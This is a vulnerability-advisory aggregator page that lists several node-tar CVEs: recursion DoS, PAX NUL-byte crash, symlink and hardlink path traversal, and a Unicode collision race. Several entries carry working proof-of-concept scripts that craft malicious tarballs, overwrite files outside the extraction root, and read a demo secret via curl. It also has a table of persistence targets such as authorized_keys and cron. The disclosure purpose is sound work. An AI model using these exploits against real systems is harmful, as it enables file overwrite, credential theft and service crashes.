Where
-Infinity
0
Severity
7

node-tar is a tar archive manipulation library for Node.js. Prior to 7.5.21, node-tar's filesFilter in src/list.ts uses the recursive mapHas helper to walk an archive entry path upward with path.dirname() and no segment cap when tar.t(...) or tar.x(...) receives a non-empty member-selection list. A crafted GNU L or PAX x long-path header with thousands of slash-separated segments reaches this.filter(entry.path, entry) in Parser[CONSUMEHEADER] in src/parse.ts before Unpack[CHECKPATH] applies maxDepth, causing an uncatchable RangeError stack overflow that terminates asynchronous and streaming Node.js consumers. This issue is fixed in version 7.5.21.

First published (updated )
Severity
7.5
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

node-tar is a tar archive manipulation library for Node.js. Prior to 7.5.21, node-tar's filesFilter in src/list.ts uses the recursive mapHas helper to walk an archive entry path upward with path.dirname() and no segment cap when tar.t(...) or tar.x(...) receives a non-empty member-selection list. A crafted GNU L or PAX x long-path header with thousands of slash-separated segments reaches this.filter(entry.path, entry) in Parser[CONSUMEHEADER] in src/parse.ts before Unpack[CHECKPATH] applies maxDepth, causing an uncatchable RangeError stack overflow that terminates asynchronous and streaming Node.js consumers. This issue is fixed in version 7.5.21.

First published (updated )
Severity
7

node-tar is a tar archive manipulation library for Node.js. Prior to 7.5.18, tar.replace accepts a checksum-valid tar header with a negative base-256 encoded entry size, causing the archive scanner to make no progress while repeatedly parsing the same header. This issue is fixed in version 7.5.18.

First published (updated )
Severity
5.3
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Summary

node-tar strips trailing NUL bytes from long-name (L) and long-linkpath (K) GNU extended headers but does not apply the same sanitization to equivalent fields delivered via PAX (x typeflag) extended headers. A PAX record of the form path=visible.txt\x00hidden.txt is parsed verbatim into entry.path and flows into fs.lstat() / fs.open(), which Node.js core rejects with ERRINVALIDARGVALUE. The throw originates inside an FSReqCallback async chain that is not wrapped by the consumer's await/try-catch around tar.x() — it surfaces as uncaughtException and terminates the process.

This is a remote denial-of-service primitive against any process that extracts attacker-supplied tarballs through tar.x / tar.extract / tar.t / tar.Parser, even when the consumer follows the documented try/catch error-handling pattern.

A secondary parser-differential (CWE-436) exists because tar(1), bsdtar, and Python tarfile truncate the path at the first NUL (yielding visible.txt) while node-tar retains the full string. A validator that pre-scans a tarball with one tool and extracts with the other is bypassed.

---

Root cause

Vulnerable sink — src/pax.ts:157-183

PAX KV records flow through parseKVLine. The value half (v) is assigned directly to the result object with no sanitization for embedded NUL bytes:

ts // src/pax.ts:157 const parseKVLine = (set: Record<string, unknown>, line: string) => { const n = parseInt(line, 10) if (n !== Buffer.byteLength(line) + 1) return set line = line.slice((n + ' ').length) const kv = line.split('=') const r = kv.shift() if (!r) return set const k = r.replace(/^SCHILY\.(dev|ino|nlink)/, '$1') const v = kv.join('=') // <-- NO NUL STRIP set[k] = /^([A-Z]+\.)?([mac]|birth|creation)time$/.test(k) ? new Date(Number(v) 1000) : /^[0-9]+$/.test(v) ? +v : v // <-- v with NULs lands here return set }

The PAX record body is length-prefixed, so the parser knows the exact byte boundary — but it never checks whether the value half between = and \n contains NUL. The result is consumed by Header / ReadEntry, where entry.path and entry.linkpath carry the embedded NUL all the way to fs.lstat().

Correctly-patched cousin sink — src/parse.ts:375-388

The equivalent code path for GNU L/K long-headers does strip NUL bytes:

ts // src/parse.ts:375 case 'NextFileHasLongPath': case 'OldGnuLongPath': { const ex = this[EX] ?? Object.create(null) this[EX] = ex ex.path = this[META].replace(/\0./, '') // <-- NUL strip applied break } case 'NextFileHasLongLinkpath': { const ex = this[EX] || Object.create(null) this[EX] = ex ex.linkpath = this[META].replace(/\0./, '') // <-- NUL strip applied break }

The parse.ts fix is the maintainer's own acknowledgement that path strings on this codepath must be NUL-stripped before reaching fs.. The PAX path produces the identical primitive but bypasses the guard.

Downstream blast radius

entry.path and entry.linkpath are consumed in: - src/unpack.ts → fs.lstat, fs.open, fs.symlink, fs.link, fs.mkdir - src/list.ts (no crash — listing tolerates NUL in strings) - Any consumer of the ReadEntry event that calls path.join() / fs. on entry.path

The crash fires inside the FSReqCallback Node-internal async machinery, outside the user's await tar.x(...) Promise rejection boundary.

---

Proof of Concept

Artifacts - poc-null-byte-crash.tar — 3072 bytes — PAX path=visible.txt\x00hidden.txt - poc-null-linkpath-crash.tar — 2560 bytes — PAX linkpath=target\x00garbage (symlink target sink) - poc1-pax-prefix.py — minimal PAX-header builder (Python 3, no deps)

Tarball generator (minimal repro — Python 3)

python #!/usr/bin/env python3 """Minimal PAX-NUL-injection tarball generator for node-tar PoC.""" import os

def cksum(b): s = 0 for i, x in enumerate(b): s += 0x20 if 148 <= i < 156 else x return s

def pad512(buf): rem = len(buf) % 512 return buf + b'\0' (512 - rem) if rem else buf

def hdr(name, size, typeflag, prefix=b'', linkpath=b''): b = bytearray(512) b[0:len(name[:100])] = name[:100] b[100:108] = b'0000644\0' b[108:116] = b'0001000\0' b[116:124] = b'0001000\0' b[124:136] = ('%011o ' % size).encode() b[136:148] = ('%011o ' % 0).encode() b[148:156] = b' ' b[156:157] = typeflag b[157:157+len(linkpath[:100])] = linkpath[:100] b[257:265] = b'ustar\x0000' b[265:270] = b'root\0' b[297:302] = b'root\0' b[329:337] = b'0000000\0' b[337:345] = b'0000000\0' b[345:345+len(prefix[:155])] = prefix[:155] s = cksum(b) b[148:156] = ('%06o\0 ' % s).encode() return bytes(b)

def pax(records): body = b'' for k, v in records: kv = b' ' + k + b'=' + v + b'\n' for digits in range(1, 8): total = digits + len(kv) if len(str(total)) == digits: break body += str(total).encode() + kv return pad512(hdr(b'PaxHeader/poc', len(body), b'x') + body)

out = pax([(b'path', b'visible.txt\x00hidden.txt')]) # NUL in PAX path out += hdr(b'placeholder', 1, b'0') out += pad512(b'A') out += b'\0' 1024 # end-of-archive

open('poc.tar', 'wb').write(out)

Reproduction

bash 1. Generate tarball python3 poc1-pax-prefix.py # writes poc.tar (3 KB)

2. Install vulnerable version mkdir repro && cd repro npm init -y && npm install tar@7.5.16

3. Try to extract with documented try/catch — observe uncaught exception mkdir -p ./out node --input-type=module -e ' process.on("uncaughtException", e => { console.log("UNCAUGHT:", e.code, "-", e.message); process.exit(99); }); import("tar").then(async tar => { try { await tar.x({ file: "../poc.tar", cwd: "./out" }); console.log("NORMALRETURN"); } catch (e) { console.log("CAUGHTBYUSER:", e.code); } });'

Observed output (verified 2026-06-23 against tar@7.5.16)

UNCAUGHT: ERRINVALIDARGVALUE - The argument 'path' must be a string, Uint8Array, or URL without null bytes. Received '/.../out/visible.txt\x00hidden.txt' exit: 99

The exception bypasses the user's try { await tar.x(...) } catch (e) { ... } block and lands in the global uncaughtException handler. In a typical server without that handler, the process exits.

---

Impact

Direct: remote DoS

Any service that ingests attacker-supplied tarballs via node-tar inherits a one-tarball-kills-the-process primitive. Realistic deployments where this is reachable without user interaction:

- npm registry tarball ingestion and downstream mirrors - GitHub Actions cache restore (actions/cache, actions/setup- extracting toolchains) - Container image build pipelines that unpack layer tarballs through node tooling - Backup-restore services accepting user uploads - CI artifact processors and badge generators - Static-site / Docusaurus / Next.js build runners that fetch and extract dep tarballs - Cloud functions that auto-extract uploaded archives

A correctly-coded consumer that does:

js try { await tar.x({ file: req.upload.path, cwd: tmpdir }); } catch (e) { return res.status(400).json({ error: 'bad archive' }); }

does not catch this throw. The Node process dies and (depending on the supervisor) the worker may take time to respawn or never respawn if it dies during boot.

Secondary: parser-differential validator bypass (CWE-436)

| Tool | Result for path=visible.txt\x00hidden.txt | |----------------------------|----------------------------------------------| | GNU tar (tar -tvf) | Lists visible.txt (truncated at NUL) | | bsdtar -tvf | Lists visible.txt (truncated at NUL) | | Python tarfile.list() | Lists visible.txt\x00hidden.txt (raw) | | node-tar tar.t({file}) | Emits raw NUL-bearing path (no crash) | | node-tar tar.x({file}) | Crashes (uncaught throw) |

A pre-flight validator using GNU tar or bsdtar will see a benign filename; the subsequent node-tar extraction blows up. This is exploitable against any architecture that lists-and-validates-then-extracts.

---

Suggested patch

Match the long-name handler in parse.ts — strip everything from the first NUL onward in parseKVLine value parsing:

diff --- a/src/pax.ts +++ b/src/pax.ts @@ -173,7 +173,7 @@ const parseKVLine = (set: Record<string, unknown>, line: string) => {

const k = r.replace(/^SCHILY\.(dev|ino|nlink)/, '$1')

- const v = kv.join('=') + const v = kv.join('=').replace(/\0.$/, '') set[k] = /^([A-Z]+\.)?([mac]|birth|creation)time$/.test(k) ? new Date(Number(v) 1000)

This matches src/parse.ts:379 and src/parse.ts:386 and closes both path and linkpath sinks in one change.

A defense-in-depth follow-up: add an explicit assert(!v.includes('\0')) (or fail-soft return set) at the top of parseKVLine so malformed PAX records that aren't path/linkpath also can't smuggle NUL into other unanticipated consumers (e.g. third-party readers of entry.header.atime Date objects constructed from Number(v) where v had embedded NUL).

1 / 2
Source: GitHub
First published (updated )
Severity
8.2
EPSS
0.01%
Path Traversal
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary tar (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as C:../../../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction.

Details The extraction logic in Unpack[STRIPABSOLUTEPATH] validates .. segments against a resolved path that still uses the original drive-relative value, and only afterwards rewrites the stored linkpath to the stripped value.

What happens with linkpath: "C:../../../target.txt": 1. stripAbsolutePath() removes C: and rewrites the value to ../../../target.txt. 2. The escape check resolves using the original pre-stripped value, so it is treated as in-bounds and accepted. 3. Symlink creation uses the rewritten value (../../../target.txt) from nested path a/b/l. 4. Writing through the extracted symlink overwrites the outside file (../target.txt).

This is reachable in standard usage (tar.x({ cwd, file })) when extracting attacker-controlled tar archives.

PoC Tested on Arch Linux with tar@7.5.10.

PoC script (poc.cjs):

js const fs = require('fs') const path = require('path') const { Header, x } = require('tar')

const cwd = process.cwd() const target = path.resolve(cwd, '..', 'target.txt') const tarFile = path.join(cwd, 'poc.tar')

fs.writeFileSync(target, 'ORIGINAL\n')

const b = Buffer.alloc(1536) new Header({ path: 'a/b/l', type: 'SymbolicLink', linkpath: 'C:../../../target.txt', }).encode(b, 0) fs.writeFileSync(tarFile, b)

x({ cwd, file: tarFile }).then(() => { fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n') process.stdout.write(fs.readFileSync(target, 'utf8')) })

Run:

bash node poc.cjs && readlink a/b/l && ls -l a/b/l ../target.txt

Observed output:

text PWNED ../../../target.txt lrwxrwxrwx - joshuavr 7 Mar 18:37 󰡯 a/b/l -> ../../../target.txt .rw-r--r-- 6 joshuavr 7 Mar 18:37  ../target.txt

PWNED confirms outside file content overwrite. readlink and ls -l confirm the extracted symlink points outside the extraction directory.

Impact This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.

Realistic scenarios: - CLI tools unpacking untrusted tarballs into a working directory - build/update pipelines consuming third-party archives - services that import user-supplied tar files

1 / 2
Source: GitHub
First published (updated )
Severity
7
Path Traversal

node-tar,a Tar for Node.js, contains a vulnerability in versions prior to 7.5.7 where the security check for hardlink entries uses different path resolution semantics than the actual hardlink creation logic. This mismatch allows an attacker to craft a malicious TAR archive that bypasses path traversal protections and creates hardlinks to arbitrary files outside the extraction directory. Version 7.5.7 contains a fix for the issue.

First published (updated )
Severity
8.2
EPSS
0.01%
Path Traversal
AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N

Summary node-tar contains a vulnerability where the security check for hardlink entries uses different path resolution semantics than the actual hardlink creation logic. This mismatch allows an attacker to craft a malicious TAR archive that bypasses path traversal protections and creates hardlinks to arbitrary files outside the extraction directory.

Details The vulnerability exists in lib/unpack.js. When extracting a hardlink, two functions handle the linkpath differently:

Security check in [STRIPABSOLUTEPATH]: javascript const entryDir = path.posix.dirname(entry.path); const resolved = path.posix.normalize(path.posix.join(entryDir, linkpath)); if (resolved.startsWith('../')) { / block / }

Hardlink creation in [HARDLINK]: javascript const linkpath = path.resolve(this.cwd, entry.linkpath); fs.linkSync(linkpath, dest);

Example: An application extracts a TAR using tar.extract({ cwd: '/var/app/uploads/' }). The TAR contains entry a/b/c/d/x as a hardlink to ../../../../etc/passwd.

- Security check resolves the linkpath relative to the entry's parent directory: a/b/c/d/ + ../../../../etc/passwd = etc/passwd. No ../ prefix, so it passes.

- Hardlink creation resolves the linkpath relative to the extraction directory (this.cwd): /var/app/uploads/ + ../../../../etc/passwd = /etc/passwd. This escapes to the system's /etc/passwd.

The security check and hardlink creation use different starting points (entry directory a/b/c/d/ vs extraction directory /var/app/uploads/), so the same linkpath can pass validation but still escape. The deeper the entry path, the more levels an attacker can escape.

PoC Setup

Create a new directory with these files:

poc/ ├── package.json ├── secret.txt ← sensitive file (target) ├── server.js ← vulnerable server ├── create-malicious-tar.js ├── verify.js └── uploads/ ← created automatically by server.js └── (extracted files go here)

package.json json { "dependencies": { "tar": "^7.5.0" } }

secret.txt (sensitive file outside uploads/) DATABASEPASSWORD=supersecret123

server.js (vulnerable file upload server) javascript const http = require('http'); const fs = require('fs'); const path = require('path'); const tar = require('tar');

const PORT = 3000; const UPLOADDIR = path.join(dirname, 'uploads'); fs.mkdirSync(UPLOADDIR, { recursive: true });

http.createServer((req, res) => { if (req.method === 'POST' && req.url === '/upload') { const chunks = []; req.on('data', c => chunks.push(c)); req.on('end', async () => { fs.writeFileSync(path.join(UPLOADDIR, 'upload.tar'), Buffer.concat(chunks)); await tar.extract({ file: path.join(UPLOADDIR, 'upload.tar'), cwd: UPLOADDIR }); res.end('Extracted\n'); }); } else if (req.method === 'GET' && req.url === '/read') { // Simulates app serving extracted files (e.g., file download, static assets) const targetPath = path.join(UPLOADDIR, 'd', 'x'); if (fs.existsSync(targetPath)) { res.end(fs.readFileSync(targetPath)); } else { res.end('File not found\n'); } } else if (req.method === 'POST' && req.url === '/write') { // Simulates app writing to extracted file (e.g., config update, log append) const chunks = []; req.on('data', c => chunks.push(c)); req.on('end', () => { const targetPath = path.join(UPLOADDIR, 'd', 'x'); if (fs.existsSync(targetPath)) { fs.writeFileSync(targetPath, Buffer.concat(chunks)); res.end('Written\n'); } else { res.end('File not found\n'); } }); } else { res.end('POST /upload, GET /read, or POST /write\n'); } }).listen(PORT, () => console.log(http://localhost:${PORT}));

create-malicious-tar.js (attacker creates exploit TAR) javascript const fs = require('fs');

function tarHeader(name, type, linkpath = '', size = 0) { const b = Buffer.alloc(512, 0); b.write(name, 0); b.write('0000644', 100); b.write('0000000', 108); b.write('0000000', 116); b.write(size.toString(8).padStart(11, '0'), 124); b.write(Math.floor(Date.now()/1000).toString(8).padStart(11, '0'), 136); b.write(' ', 148); b[156] = type === 'dir' ? 53 : type === 'link' ? 49 : 48; if (linkpath) b.write(linkpath, 157); b.write('ustar\x00', 257); b.write('00', 263); let sum = 0; for (let i = 0; i < 512; i++) sum += b[i]; b.write(sum.toString(8).padStart(6, '0') + '\x00 ', 148); return b; }

// Hardlink escapes to parent directory's secret.txt fs.writeFileSync('malicious.tar', Buffer.concat([ tarHeader('d/', 'dir'), tarHeader('d/x', 'link', '../secret.txt'), Buffer.alloc(1024) ])); console.log('Created malicious.tar');

Run

bash Setup npm install echo "DATABASEPASSWORD=supersecret123" > secret.txt

Terminal 1: Start server node server.js

Terminal 2: Execute attack node create-malicious-tar.js curl -X POST --data-binary @malicious.tar http://localhost:3000/upload

READ ATTACK: Steal secret.txt content via the hardlink curl http://localhost:3000/read Returns: DATABASEPASSWORD=supersecret123

WRITE ATTACK: Overwrite secret.txt through the hardlink curl -X POST -d "PWNED" http://localhost:3000/write

Confirm secret.txt was modified cat secret.txt Impact

An attacker can craft a malicious TAR archive that, when extracted by an application using node-tar, creates hardlinks that escape the extraction directory. This enables:

Immediate (Read Attack): If the application serves extracted files, attacker can read any file readable by the process.

Conditional (Write Attack): If the application later writes to the hardlink path, it modifies the target file outside the extraction directory.

Remote Code Execution / Server Takeover

| Attack Vector | Target File | Result | |--------------|-------------|--------| | SSH Access | ~/.ssh/authorizedkeys | Direct shell access to server | | Cron Backdoor | /etc/cron.d/, ~/.crontab | Persistent code execution | | Shell RC Files | ~/.bashrc, ~/.profile | Code execution on user login | | Web App Backdoor | Application .js, .php, .py files | Immediate RCE via web requests | | Systemd Services | /etc/systemd/system/.service | Code execution on service restart | | User Creation | /etc/passwd (if running as root) | Add new privileged user |

Data Exfiltration & Corruption

1. Overwrite arbitrary files via hardlink escape + subsequent write operations 2. Read sensitive files by creating hardlinks that point outside extraction directory 3. Corrupt databases and application state 4. Steal credentials from config files, .env, secrets

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
EPSS
0.01%
CSRF, Race Condition
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L

TITLE: Race Condition in node-tar Path Reservations via Unicode Sharp-S (ß) Collisions on macOS APFS

AUTHOR: Tomás Illuminati

Details

A race condition vulnerability exists in node-tar (v7.5.3) this is to an incomplete handling of Unicode path collisions in the path-reservations system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., ß and ss), allowing them to be processed in parallel. This bypasses the library's internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a PathReservations system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently.

typescript // node-tar/src/path-reservations.ts (Lines 53-62) reserve(paths: string[], fn: Handler) { paths = isWindows ? ['win32 parallelization disabled'] : paths.map(p => { return stripTrailingSlashes( join(normalizeUnicode(p)), // <- THE PROBLEM FOR MacOS FS ).toLowerCase() })

In MacOS the join(normalizeUnicode(p)), FS confuses ß with ss, but this code does not. For example:

bash bash-3.2$ printf "CONTENTSS\n" > collisiontestss bash-3.2$ ls collisiontestss bash-3.2$ printf "CONTENTESSZETT\n" > collisiontestß bash-3.2$ ls -la total 8 drwxr-xr-x 3 testuser staff 96 Jan 19 01:25 . drwxr-x---+ 82 testuser staff 2624 Jan 19 01:25 .. -rw-r--r-- 1 testuser staff 16 Jan 19 01:26 collisiontestss bash-3.2$

---

PoC

javascript const tar = require('tar'); const fs = require('fs'); const path = require('path'); const { PassThrough } = require('stream');

const exploitDir = path.resolve('raceexploitdir'); if (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true }); fs.mkdirSync(exploitDir);

console.log('[] Testing...'); console.log([] Extraction target: ${exploitDir});

// Construct stream const stream = new PassThrough();

const contentA = 'A'.repeat(1000); const contentB = 'B'.repeat(1000);

// Key 1: "fss" const header1 = new tar.Header({ path: 'collisionss', mode: 0o644, size: contentA.length, }); header1.encode();

// Key 2: "fß" const header2 = new tar.Header({ path: 'collisionß', mode: 0o644, size: contentB.length, }); header2.encode();

// Write to stream stream.write(header1.block); stream.write(contentA); stream.write(Buffer.alloc(512 - (contentA.length % 512))); // Padding

stream.write(header2.block); stream.write(contentB); stream.write(Buffer.alloc(512 - (contentB.length % 512))); // Padding

// End stream.write(Buffer.alloc(1024)); stream.end();

// Extract const extract = new tar.Unpack({ cwd: exploitDir, // Ensure jobs is high enough to allow parallel processing if locks fail jobs: 8 });

stream.pipe(extract);

extract.on('end', () => { console.log('[] Extraction complete');

// Check what exists const files = fs.readdirSync(exploitDir); console.log('[] Files in exploit dir:', files); files.forEach(f => { const p = path.join(exploitDir, f); const stat = fs.statSync(p); const content = fs.readFileSync(p, 'utf8'); console.log(File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})); });

if (files.length === 1 || (files.length === 2 && fs.statSync(path.join(exploitDir, files[0])).ino === fs.statSync(path.join(exploitDir, files[1])).ino)) { console.log('\[] GOOD'); } else { console.log('[-] No collision'); } });

---

Impact This is a Race Condition which enables Arbitrary File Overwrite. This vulnerability affects users and systems using node-tar on macOS (APFS/HFS+). Because of using NFD Unicode normalization (in which ß and ss are different), conflicting paths do not have their order properly preserved under filesystems that ignore Unicode normalization (e.g., APFS (in which ß causes an inode collision with ss)). This enables an attacker to circumvent internal parallelization locks (PathReservations) using conflicting filenames within a malicious tar archive.

---

Remediation

Update path-reservations.js to use a normalization form that matches the target filesystem's behavior (e.g., NFKD), followed by first toLocaleLowerCase('en') and then toLocaleUpperCase('en').

Users who cannot upgrade promptly, and who are programmatically using node-tar to extract arbitrary tarball data should filter out all SymbolicLink entries (as npm does) to defend against arbitrary file writes via this file system entry name collision issue.

---

1 / 2
Source: GitHub
First published (updated )
Severity
7

node-tar is a Tar for Node.js. The node-tar library (<= 7.5.2) fails to sanitize the linkpath of Link (hardlink) and SymbolicLink entries when preservePaths is false (the default secure behavior). This allows malicious archives to bypass the extraction root restriction, leading to Arbitrary File Overwrite via hardlinks and Symlink Poisoning via absolute symlink targets. This vulnerability is fixed in 7.5.3.

First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203